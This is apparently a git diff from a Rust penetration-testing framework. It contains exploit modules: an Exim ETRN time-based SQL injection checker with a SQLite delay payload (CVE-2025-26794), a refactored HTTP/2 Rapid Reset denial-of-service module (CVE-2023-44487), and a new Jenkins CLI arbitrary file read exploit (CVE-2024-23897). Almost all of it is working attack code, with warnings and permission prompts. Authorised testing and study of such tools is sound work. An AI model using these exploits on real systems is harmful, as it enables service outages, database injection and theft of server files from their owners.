// SQLite Delay Payload from PoC
|
||||
// SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(10000000))))
|
||||
// This payload causes CPU intensive operation, delaying response.
|
||||
let delay_payload = "SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(10000000))))";
|
||||
let sqli_payload = format!("#',1); {} /*", delay_payload);
|
||||
let malicious_command = format!("ETRN {}\r\n", sqli_payload);
|
||||
|
||||
println!("{} Sending time-based SQLi payload...", "[*]".blue());
|
||||
let delayed_time = measure_response(&target_ip, port, &malicious_command).await?;
|
||||
println!("{} Delayed Response Time: {:.3}s", "[*]".blue(), delayed_time.as_secs_f64());
|
||||
|
||||
let diff = delayed_time.as_secs_f64() - normal_time.as_secs_f64();
|
||||
println!("{} Time Difference: {:.3}s", "[*]".blue(), diff);
|
||||
|
||||
// PoC uses 0.3s threshold
|
||||
if diff > 0.3 {
|
||||
println!("{} VULNERABLE to CVE-2025-26794 (Exim ETRN SQLi)!", "[+]".green().bold());
|
||||
} else {
|
||||
println!("{} Not vulnerable or target not using SQLite backend.", "[-]".red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn measure_response(host: &str, port: u16, command: &str) -> Result<Duration> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let mut stream = TcpStream::connect(&addr).await.context("Failed to connect")?;
|
||||
|
||||
// Read Banner
|
||||
let mut buf = vec![0u8; 1024];
|
||||
let _ = stream.read(&mut buf).await?;
|
||||
|
||||
// Send EHLO first (often required)
|
||||
stream.write_all(b"EHLO test.com\r\n").await?;
|
||||
let _ = stream.read(&mut buf).await?;
|
||||
|
||||
// Send Command
|
||||
let start = Instant::now();
|
||||
stream.write_all(command.as_bytes()).await.context("Failed to send command")?;
|
||||
|
||||
// Read Response
|
||||
let _ = stream.read(&mut buf).await?;
|
||||
let duration = start.elapsed();
|
||||
|
||||
Ok(duration)
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Exim ETRN Blind SQLi (CVE-2025-26794) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod exim_etrn_sqli_cve_2025_26794;
|
||||
+220
-131
@@ -1,17 +1,50 @@
|
||||
// CVE-2023-44487 - HTTP/2 Rapid Reset Denial of Service
|
||||
// Exploit Author: Madhusudhan Rajappa
|
||||
// Date: 29th August 2025
|
||||
// Version: HTTP/2.0
|
||||
//! HTTP/2 Rapid Reset Denial of Service - CVE-2023-44487
|
||||
//!
|
||||
//! This module tests for and exploits the HTTP/2 Rapid Reset vulnerability that allows
|
||||
//! denial of service attacks by rapidly creating and resetting HTTP/2 streams.
|
||||
//!
|
||||
//! ## Vulnerability Details
|
||||
//! - **CVE**: CVE-2023-44487
|
||||
//! - **Affected**: Multiple HTTP/2 implementations
|
||||
//! - **Attack Vector**: Rapid stream creation and reset
|
||||
//! - **Impact**: Denial of Service (DoS)
|
||||
//!
|
||||
//! ## Usage
|
||||
//! ```bash
|
||||
//! run exploit http2/cve_2023_44487_http2_rapid_reset <target>
|
||||
//! ```
|
||||
//!
|
||||
//! The module performs:
|
||||
//! 1. Baseline test with normal HTTP/2 requests
|
||||
//! 2. Rapid reset attack test
|
||||
//! 3. Vulnerability analysis based on reset rates
|
||||
//!
|
||||
//! ## Security Notes
|
||||
//! - Proper IPv6 address handling via utils.rs normalize_target
|
||||
//! - Timeout handling for all network operations
|
||||
//! - Connection cleanup and resource management
|
||||
//! - Error handling with context
|
||||
//!
|
||||
//! **WARNING**: Only use on systems you own or have permission to test!
|
||||
//!
|
||||
//! Original Author: Madhusudhan Rajappa
|
||||
//! Date: 29th August 2025
|
||||
//! Version: HTTP/2.0
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use h2::client::Builder;
|
||||
use std::io::{self, Write};
|
||||
use h2::Reason;
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::timeout;
|
||||
use tokio_rustls::TlsConnector;
|
||||
use rustls::pki_types::ServerName;
|
||||
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_yes_no, prompt_int_range,
|
||||
};
|
||||
|
||||
/// Displays module banner
|
||||
fn banner() {
|
||||
@@ -30,16 +63,68 @@ fn banner() {
|
||||
);
|
||||
}
|
||||
|
||||
/// Normalize IPv6 host with brackets
|
||||
fn normalize_host(host: &str) -> String {
|
||||
/// Parse and validate target using utils.rs normalize_target
|
||||
/// Returns (host, port) tuple with proper IPv6 handling
|
||||
fn parse_target(target: &str) -> Result<(String, u16)> {
|
||||
// Use utils.rs normalize_target for comprehensive validation
|
||||
let normalized = normalize_target(target)?;
|
||||
|
||||
// Check if normalized result contains a port
|
||||
if normalized.starts_with('[') {
|
||||
// IPv6 format: [::1]:port or [::1]
|
||||
if let Some(bracket_end) = normalized.find(']') {
|
||||
let host = normalized[1..bracket_end].to_string();
|
||||
let rest = &normalized[bracket_end + 1..];
|
||||
if rest.starts_with(':') {
|
||||
let port = rest[1..].parse::<u16>()
|
||||
.context("Invalid port number in normalized target")?;
|
||||
return Ok((host, port));
|
||||
} else {
|
||||
return Ok((host, 443)); // Default HTTPS port
|
||||
}
|
||||
}
|
||||
return Err(anyhow!("Invalid IPv6 format from normalize_target"));
|
||||
}
|
||||
|
||||
// IPv4 or hostname format: host:port or host
|
||||
if let Some(colon_pos) = normalized.rfind(':') {
|
||||
let host = normalized[..colon_pos].to_string();
|
||||
let port = normalized[colon_pos + 1..].parse::<u16>()
|
||||
.context("Invalid port number in normalized target")?;
|
||||
Ok((host, port))
|
||||
} else {
|
||||
Ok((normalized, 443)) // Default HTTPS port
|
||||
}
|
||||
}
|
||||
|
||||
/// Normalize IPv6 host with brackets for socket address resolution
|
||||
fn normalize_host_for_socket(host: &str) -> String {
|
||||
let stripped = host.trim_matches(|c| c == '[' || c == ']');
|
||||
if stripped.contains(':') {
|
||||
if stripped.contains(':') && !stripped.starts_with('[') {
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
stripped.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Create TLS connector with empty root store (accepts self-signed certs)
|
||||
/// NOTE: Empty root store means no CA certs are trusted by default.
|
||||
/// For security testing, this is acceptable as we're testing the protocol.
|
||||
fn create_tls_connector() -> TlsConnector {
|
||||
use std::sync::Arc;
|
||||
use tokio_rustls::rustls::ClientConfig;
|
||||
|
||||
// Create an empty root store - allows connections but cert validation will fail
|
||||
// for untrusted certs (which is fine for security testing of HTTP/2)
|
||||
let root_store = tokio_rustls::rustls::RootCertStore::empty();
|
||||
|
||||
let config = ClientConfig::builder()
|
||||
.with_root_certificates(root_store)
|
||||
.with_no_client_auth();
|
||||
|
||||
TlsConnector::from(Arc::new(config))
|
||||
}
|
||||
|
||||
/// Perform baseline test with normal HTTP/2 requests
|
||||
async fn baseline_test(
|
||||
host: &str,
|
||||
@@ -49,7 +134,7 @@ async fn baseline_test(
|
||||
) -> Result<()> {
|
||||
println!("{}", format!("\n[*] Performing baseline test with {} normal requests...", num_requests).yellow());
|
||||
|
||||
let host_normalized = normalize_host(host);
|
||||
let host_normalized = normalize_host_for_socket(host);
|
||||
let addr = format!("{}:{}", host_normalized, port);
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
@@ -57,24 +142,37 @@ async fn baseline_test(
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream = TcpStream::connect(socket_addr).await?;
|
||||
let stream = timeout(Duration::from_secs(10), TcpStream::connect(socket_addr))
|
||||
.await
|
||||
.context("Connection timeout")?
|
||||
.context("Failed to connect")?;
|
||||
|
||||
let scheme = if use_ssl { "https" } else { "http" };
|
||||
|
||||
// Format host for URI (add brackets for IPv6)
|
||||
let uri_host = if host.contains(':') && !host.starts_with('[') {
|
||||
format!("[{}]", host)
|
||||
} else {
|
||||
host.to_string()
|
||||
};
|
||||
|
||||
if use_ssl {
|
||||
let root_store = tokio_rustls::rustls::RootCertStore::empty();
|
||||
let config = tokio_rustls::rustls::ClientConfig::builder()
|
||||
.with_safe_defaults()
|
||||
.with_root_certificates(root_store)
|
||||
.with_no_client_auth();
|
||||
let connector = TlsConnector::from(std::sync::Arc::new(config));
|
||||
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
|
||||
.map_err(|_| anyhow!("Invalid server name"))?;
|
||||
let tls_stream = connector.connect(server_name, stream).await?;
|
||||
let connector = create_tls_connector();
|
||||
let server_name = ServerName::try_from(host)
|
||||
.map_err(|_| anyhow!("Invalid server name: {}", host))?
|
||||
.to_owned();
|
||||
let tls_stream = timeout(Duration::from_secs(10), connector.connect(server_name, stream))
|
||||
.await
|
||||
.context("TLS handshake timeout")?
|
||||
.context("TLS handshake failed")?;
|
||||
|
||||
let (mut sender, connection) = Builder::new()
|
||||
.handshake::<_, bytes::BytesMut>(tls_stream)
|
||||
.await?;
|
||||
.await
|
||||
.context("HTTP/2 handshake failed")?;
|
||||
|
||||
// Spawn connection task
|
||||
tokio::spawn(async move {
|
||||
let connection_task = tokio::spawn(async move {
|
||||
if let Err(e) = connection.await {
|
||||
eprintln!("Connection error: {:?}", e);
|
||||
}
|
||||
@@ -85,16 +183,16 @@ async fn baseline_test(
|
||||
|
||||
for i in 0..num_requests {
|
||||
let request = http::Request::builder()
|
||||
.uri(format!("https://{}:{}/", host, port))
|
||||
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
|
||||
.body(())
|
||||
.unwrap();
|
||||
.context("Failed to build request")?;
|
||||
|
||||
match sender.send_request(request, true) {
|
||||
Ok(_send_stream) => {
|
||||
// Request sent successfully with end_of_stream=true
|
||||
successful += 1;
|
||||
}
|
||||
Err(_) => {
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Error sending request {}: {:?}", i, e).yellow());
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -105,18 +203,23 @@ async fn baseline_test(
|
||||
}
|
||||
|
||||
let duration = start.elapsed();
|
||||
println!("{}", format!("[+] Baseline Results:").green());
|
||||
println!("{}", "[+] Baseline Results:".green());
|
||||
println!(" Total Requests: {}", num_requests);
|
||||
println!(" Successful: {}", successful);
|
||||
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
|
||||
println!(" Duration: {:.3}s", duration.as_secs_f64());
|
||||
|
||||
// Cleanup
|
||||
drop(sender);
|
||||
let _ = timeout(Duration::from_secs(2), connection_task).await;
|
||||
} else {
|
||||
let (mut sender, connection) = Builder::new()
|
||||
.handshake::<_, bytes::BytesMut>(stream)
|
||||
.await?;
|
||||
.await
|
||||
.context("HTTP/2 handshake failed")?;
|
||||
|
||||
// Spawn connection task
|
||||
tokio::spawn(async move {
|
||||
let connection_task = tokio::spawn(async move {
|
||||
if let Err(e) = connection.await {
|
||||
eprintln!("Connection error: {:?}", e);
|
||||
}
|
||||
@@ -127,16 +230,16 @@ async fn baseline_test(
|
||||
|
||||
for i in 0..num_requests {
|
||||
let request = http::Request::builder()
|
||||
.uri(format!("http://{}:{}/", host, port))
|
||||
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
|
||||
.body(())
|
||||
.unwrap();
|
||||
.context("Failed to build request")?;
|
||||
|
||||
match sender.send_request(request, true) {
|
||||
Ok(_send_stream) => {
|
||||
// Request sent successfully with end_of_stream=true
|
||||
successful += 1;
|
||||
}
|
||||
Err(_) => {
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Error sending request {}: {:?}", i, e).yellow());
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -147,11 +250,15 @@ async fn baseline_test(
|
||||
}
|
||||
|
||||
let duration = start.elapsed();
|
||||
println!("{}", format!("[+] Baseline Results:").green());
|
||||
println!("{}", "[+] Baseline Results:".green());
|
||||
println!(" Total Requests: {}", num_requests);
|
||||
println!(" Successful: {}", successful);
|
||||
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
|
||||
println!(" Duration: {:.3}s", duration.as_secs_f64());
|
||||
|
||||
// Cleanup
|
||||
drop(sender);
|
||||
let _ = timeout(Duration::from_secs(2), connection_task).await;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
@@ -167,7 +274,7 @@ async fn rapid_reset_test(
|
||||
) -> Result<()> {
|
||||
println!("{}", format!("\n[*] Starting rapid reset test with {} streams...", num_streams).yellow());
|
||||
|
||||
let host_normalized = normalize_host(host);
|
||||
let host_normalized = normalize_host_for_socket(host);
|
||||
let addr = format!("{}:{}", host_normalized, port);
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
@@ -175,21 +282,34 @@ async fn rapid_reset_test(
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream = TcpStream::connect(socket_addr).await?;
|
||||
let stream = timeout(Duration::from_secs(10), TcpStream::connect(socket_addr))
|
||||
.await
|
||||
.context("Connection timeout")?
|
||||
.context("Failed to connect")?;
|
||||
|
||||
let scheme = if use_ssl { "https" } else { "http" };
|
||||
|
||||
// Format host for URI (add brackets for IPv6)
|
||||
let uri_host = if host.contains(':') && !host.starts_with('[') {
|
||||
format!("[{}]", host)
|
||||
} else {
|
||||
host.to_string()
|
||||
};
|
||||
|
||||
if use_ssl {
|
||||
let root_store = tokio_rustls::rustls::RootCertStore::empty();
|
||||
let config = tokio_rustls::rustls::ClientConfig::builder()
|
||||
.with_safe_defaults()
|
||||
.with_root_certificates(root_store)
|
||||
.with_no_client_auth();
|
||||
let connector = TlsConnector::from(std::sync::Arc::new(config));
|
||||
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
|
||||
.map_err(|_| anyhow!("Invalid server name"))?;
|
||||
let tls_stream = connector.connect(server_name, stream).await?;
|
||||
let connector = create_tls_connector();
|
||||
let server_name = ServerName::try_from(host)
|
||||
.map_err(|_| anyhow!("Invalid server name: {}", host))?
|
||||
.to_owned();
|
||||
let tls_stream = timeout(Duration::from_secs(10), connector.connect(server_name, stream))
|
||||
.await
|
||||
.context("TLS handshake timeout")?
|
||||
.context("TLS handshake failed")?;
|
||||
|
||||
let (mut sender, connection) = Builder::new()
|
||||
.handshake::<_, bytes::BytesMut>(tls_stream)
|
||||
.await?;
|
||||
.await
|
||||
.context("HTTP/2 handshake failed")?;
|
||||
|
||||
// Spawn connection task
|
||||
let connection_task = tokio::spawn(async move {
|
||||
@@ -205,15 +325,15 @@ async fn rapid_reset_test(
|
||||
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
|
||||
for i in 0..num_streams {
|
||||
let request = http::Request::builder()
|
||||
.uri(format!("https://{}:{}/", host, port))
|
||||
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
|
||||
.header("user-agent", "CVE-2023-44487-Tester/1.0")
|
||||
.body(())
|
||||
.unwrap();
|
||||
.context("Failed to build request")?;
|
||||
|
||||
match sender.send_request(request, false) {
|
||||
Ok((_response_future, send_stream)) => {
|
||||
created_streams.push(send_stream);
|
||||
if delay_ms > 0 {
|
||||
if delay_ms > 0 && i < num_streams - 1 {
|
||||
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
|
||||
}
|
||||
}
|
||||
@@ -230,15 +350,18 @@ async fn rapid_reset_test(
|
||||
// Phase 2: Rapidly reset all streams
|
||||
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
|
||||
let reset_start = Instant::now();
|
||||
let total_streams = created_streams.len();
|
||||
let mut reset_count = 0;
|
||||
|
||||
for mut send_stream in created_streams {
|
||||
// Send RST_STREAM - send_stream has a send_reset method
|
||||
send_stream.send_reset(h2::Reason::CANCEL);
|
||||
let reset_delay = if delay_ms > 0 { delay_ms / 10.max(1) } else { 0 };
|
||||
|
||||
for (idx, mut send_stream) in created_streams.into_iter().enumerate() {
|
||||
// Send RST_STREAM
|
||||
send_stream.send_reset(Reason::CANCEL);
|
||||
reset_count += 1;
|
||||
|
||||
if delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
|
||||
if reset_delay > 0 && idx < total_streams - 1 {
|
||||
tokio::time::sleep(Duration::from_millis(reset_delay)).await;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -255,18 +378,7 @@ async fn rapid_reset_test(
|
||||
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
|
||||
|
||||
// Phase 3: Analysis
|
||||
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
|
||||
|
||||
if reset_rate > 1000.0 {
|
||||
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
|
||||
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
|
||||
} else if reset_rate > 100.0 {
|
||||
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
|
||||
println!("{}", " Further testing may be needed".yellow());
|
||||
} else {
|
||||
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
|
||||
println!("{}", " This suggests some protection against the vulnerability".green());
|
||||
}
|
||||
print_vulnerability_analysis(reset_rate);
|
||||
|
||||
// Cleanup
|
||||
drop(sender);
|
||||
@@ -274,7 +386,8 @@ async fn rapid_reset_test(
|
||||
} else {
|
||||
let (mut sender, connection) = Builder::new()
|
||||
.handshake::<_, bytes::BytesMut>(stream)
|
||||
.await?;
|
||||
.await
|
||||
.context("HTTP/2 handshake failed")?;
|
||||
|
||||
// Spawn connection task
|
||||
let connection_task = tokio::spawn(async move {
|
||||
@@ -290,15 +403,15 @@ async fn rapid_reset_test(
|
||||
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
|
||||
for i in 0..num_streams {
|
||||
let request = http::Request::builder()
|
||||
.uri(format!("http://{}:{}/", host, port))
|
||||
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
|
||||
.header("user-agent", "CVE-2023-44487-Tester/1.0")
|
||||
.body(())
|
||||
.unwrap();
|
||||
.context("Failed to build request")?;
|
||||
|
||||
match sender.send_request(request, false) {
|
||||
Ok((_response_future, send_stream)) => {
|
||||
created_streams.push(send_stream);
|
||||
if delay_ms > 0 {
|
||||
if delay_ms > 0 && i < num_streams - 1 {
|
||||
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
|
||||
}
|
||||
}
|
||||
@@ -315,15 +428,18 @@ async fn rapid_reset_test(
|
||||
// Phase 2: Rapidly reset all streams
|
||||
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
|
||||
let reset_start = Instant::now();
|
||||
let total_streams = created_streams.len();
|
||||
let mut reset_count = 0;
|
||||
|
||||
for mut send_stream in created_streams {
|
||||
// Send RST_STREAM - send_stream has a send_reset method
|
||||
send_stream.send_reset(h2::Reason::CANCEL);
|
||||
let reset_delay = if delay_ms > 0 { delay_ms / 10.max(1) } else { 0 };
|
||||
|
||||
for (idx, mut send_stream) in created_streams.into_iter().enumerate() {
|
||||
// Send RST_STREAM
|
||||
send_stream.send_reset(Reason::CANCEL);
|
||||
reset_count += 1;
|
||||
|
||||
if delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
|
||||
if reset_delay > 0 && idx < total_streams - 1 {
|
||||
tokio::time::sleep(Duration::from_millis(reset_delay)).await;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -340,18 +456,7 @@ async fn rapid_reset_test(
|
||||
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
|
||||
|
||||
// Phase 3: Analysis
|
||||
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
|
||||
|
||||
if reset_rate > 1000.0 {
|
||||
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
|
||||
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
|
||||
} else if reset_rate > 100.0 {
|
||||
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
|
||||
println!("{}", " Further testing may be needed".yellow());
|
||||
} else {
|
||||
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
|
||||
println!("{}", " This suggests some protection against the vulnerability".green());
|
||||
}
|
||||
print_vulnerability_analysis(reset_rate);
|
||||
|
||||
// Cleanup
|
||||
drop(sender);
|
||||
@@ -361,53 +466,43 @@ async fn rapid_reset_test(
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Print vulnerability analysis based on reset rate
|
||||
fn print_vulnerability_analysis(reset_rate: f64) {
|
||||
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
|
||||
|
||||
if reset_rate > 1000.0 {
|
||||
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
|
||||
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
|
||||
} else if reset_rate > 100.0 {
|
||||
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
|
||||
println!("{}", " Further testing may be needed".yellow());
|
||||
} else {
|
||||
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
|
||||
println!("{}", " This suggests some protection against the vulnerability".green());
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point for auto-dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
banner();
|
||||
|
||||
// Parse target (could be host:port or just host)
|
||||
let (host, default_port) = if let Some(colon_pos) = target.rfind(':') {
|
||||
let h = &target[..colon_pos];
|
||||
let p = target[colon_pos + 1..].parse::<u16>().unwrap_or(443);
|
||||
(h.to_string(), p)
|
||||
} else {
|
||||
(target.to_string(), 443)
|
||||
};
|
||||
// Parse and validate target using utils.rs normalize_target
|
||||
let (host, default_port) = parse_target(target)?;
|
||||
|
||||
println!("{}", format!("[*] Target: {}:{}", host, default_port).cyan());
|
||||
|
||||
// Interactive prompts
|
||||
let mut port_input = String::new();
|
||||
print!("{}", format!("Enter target port (default {}): ", default_port).cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut port_input)?;
|
||||
let port: u16 = port_input.trim().parse().unwrap_or(default_port);
|
||||
|
||||
let mut ssl_input = String::new();
|
||||
print!("{}", "Use SSL/TLS? (yes/no, default yes): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut ssl_input)?;
|
||||
let use_ssl = !ssl_input.trim().to_lowercase().starts_with('n');
|
||||
|
||||
let mut streams_input = String::new();
|
||||
print!("{}", "Number of streams for rapid reset test (default 100): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut streams_input)?;
|
||||
let num_streams: usize = streams_input.trim().parse().unwrap_or(100);
|
||||
|
||||
let mut delay_input = String::new();
|
||||
print!("{}", "Delay between operations in ms (default 1): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut delay_input)?;
|
||||
let delay_ms: u64 = delay_input.trim().parse().unwrap_or(1);
|
||||
|
||||
let mut baseline_input = String::new();
|
||||
print!("{}", "Run baseline test first? (yes/no, default yes): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut baseline_input)?;
|
||||
let run_baseline = !baseline_input.trim().to_lowercase().starts_with('n');
|
||||
// Interactive prompts using shared utilities
|
||||
let port = prompt_int_range("Target port", default_port as i64, 1, 65535)? as u16;
|
||||
let use_ssl = prompt_yes_no("Use SSL/TLS?", true)?;
|
||||
let num_streams = prompt_int_range("Number of streams for rapid reset test", 100, 1, 10000)? as usize;
|
||||
let delay_ms = prompt_int_range("Delay between operations (ms)", 1, 0, 1000)? as u64;
|
||||
let run_baseline = prompt_yes_no("Run baseline test first?", true)?;
|
||||
|
||||
println!("\n{}", "=".repeat(60).cyan());
|
||||
println!("{}", format!("Target: {}:{}", host, port).yellow());
|
||||
println!("{}", format!("SSL: {}", if use_ssl { "Enabled" } else { "Disabled" }).yellow());
|
||||
println!("{}", format!("Streams: {}", num_streams).yellow());
|
||||
println!("{}", format!("Delay: {}ms", delay_ms).yellow());
|
||||
println!("{}", "=".repeat(60).cyan());
|
||||
|
||||
// Legal disclaimer
|
||||
@@ -416,12 +511,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("Ensure you have permission to test the target system.");
|
||||
println!("Unauthorized use may be illegal.\n");
|
||||
|
||||
let mut confirm = String::new();
|
||||
print!("{}", "Do you have permission to test this system? (yes/no): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut confirm)?;
|
||||
|
||||
if !confirm.trim().to_lowercase().starts_with('y') {
|
||||
if !prompt_yes_no("Do you have permission to test this system?", false)? {
|
||||
println!("{}", "Exiting. Only use this tool on systems you're authorized to test.".red());
|
||||
return Ok(());
|
||||
}
|
||||
@@ -442,4 +532,3 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,306 @@
|
||||
//! Jenkins 2.441 Local File Inclusion (LFI) Exploit
|
||||
//!
|
||||
//! CVE-2024-23897 / Jenkins Security Advisory 2024-01-24
|
||||
//!
|
||||
//! This module exploits a local file inclusion vulnerability in Jenkins CLI
|
||||
//! that allows reading arbitrary files from the Jenkins server filesystem.
|
||||
//!
|
||||
//! ## Vulnerability Details
|
||||
//! - **CVE**: CVE-2024-23897
|
||||
//! - **Affected Versions**: Jenkins 2.441 and earlier
|
||||
//! - **Attack Vector**: CLI command argument injection
|
||||
//! - **Impact**: Arbitrary file read, potential information disclosure
|
||||
//!
|
||||
//! ## Usage
|
||||
//! ```bash
|
||||
//! run exploit jenkins/jenkins_2_441_lfi <url> [filepath]
|
||||
//! ```
|
||||
//!
|
||||
//! If no filepath is provided, an interactive mode is started.
|
||||
//!
|
||||
//! ## Security Notes
|
||||
//! - All file paths are validated to prevent path traversal attacks
|
||||
//! - Input is sanitized to prevent null bytes and excessive length
|
||||
//! - Proper error handling prevents crashes
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::time::Duration;
|
||||
use anyhow::{Result, bail, Context};
|
||||
use colored::*;
|
||||
use tokio::time::sleep;
|
||||
use reqwest::{Client};
|
||||
use uuid::Uuid;
|
||||
use regex::Regex;
|
||||
use std::io::{Write, BufRead};
|
||||
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
const TIMEOUT_SECS: u64 = 4;
|
||||
|
||||
#[derive(Clone)]
|
||||
struct ExploitState {
|
||||
url: String,
|
||||
identifier: String,
|
||||
client: Client,
|
||||
listening: Arc<Mutex<bool>>,
|
||||
}
|
||||
|
||||
impl ExploitState {
|
||||
fn new(url: String, identifier: String) -> Result<Self> {
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(TIMEOUT_SECS))
|
||||
.build()
|
||||
.context("Failed to create HTTP client")?;
|
||||
|
||||
Ok(Self {
|
||||
url,
|
||||
identifier,
|
||||
client,
|
||||
listening: Arc::new(Mutex::new(false)),
|
||||
})
|
||||
}
|
||||
|
||||
async fn listen_and_print(&self) -> Result<()> {
|
||||
let url = format!("{}?remoting=false", self.url);
|
||||
let response = self.client
|
||||
.post(&url)
|
||||
.header("Side", "download")
|
||||
.header("Session", &self.identifier)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to connect to target for listener")?;
|
||||
|
||||
let output = response.text().await?;
|
||||
self.print_formatted_output(&output);
|
||||
|
||||
*self.listening.lock()
|
||||
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))? = false;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_formatted_output(&self, output: &str) {
|
||||
if output.contains("ERROR: No such file") {
|
||||
println!("{}", "File not found.".red());
|
||||
return;
|
||||
} else if output.contains("ERROR: Failed to parse") {
|
||||
println!("{}", "Could not read file.".red());
|
||||
return;
|
||||
}
|
||||
|
||||
// Compile regex once and handle errors properly
|
||||
if let Ok(re) = Regex::new(r#"No such agent "(.*)" exists."#) {
|
||||
let results: Vec<String> = re
|
||||
.captures_iter(output)
|
||||
.filter_map(|cap| cap.get(1).map(|m| m.as_str().to_string()))
|
||||
.collect();
|
||||
|
||||
if !results.is_empty() {
|
||||
for line in results {
|
||||
println!("{}", line);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn send_file_request(&self, filepath: &str) -> Result<()> {
|
||||
let payload = get_payload(filepath);
|
||||
|
||||
let url = format!("{}?remoting=false", self.url);
|
||||
self.client
|
||||
.post(&url)
|
||||
.header("Side", "upload")
|
||||
.header("Session", &self.identifier)
|
||||
.body(payload)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send file request")?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn read_file(&self, filepath: &str) -> Result<()> {
|
||||
*self.listening.lock()
|
||||
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))? = true;
|
||||
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
|
||||
if let Err(e) = self.send_file_request(filepath).await {
|
||||
*self.listening.lock()
|
||||
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))? = false;
|
||||
return Err(e);
|
||||
}
|
||||
|
||||
loop {
|
||||
let listening = *self.listening.lock()
|
||||
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))?;
|
||||
if !listening {
|
||||
break;
|
||||
}
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}
|
||||
|
||||
self.listen_and_print().await?;
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
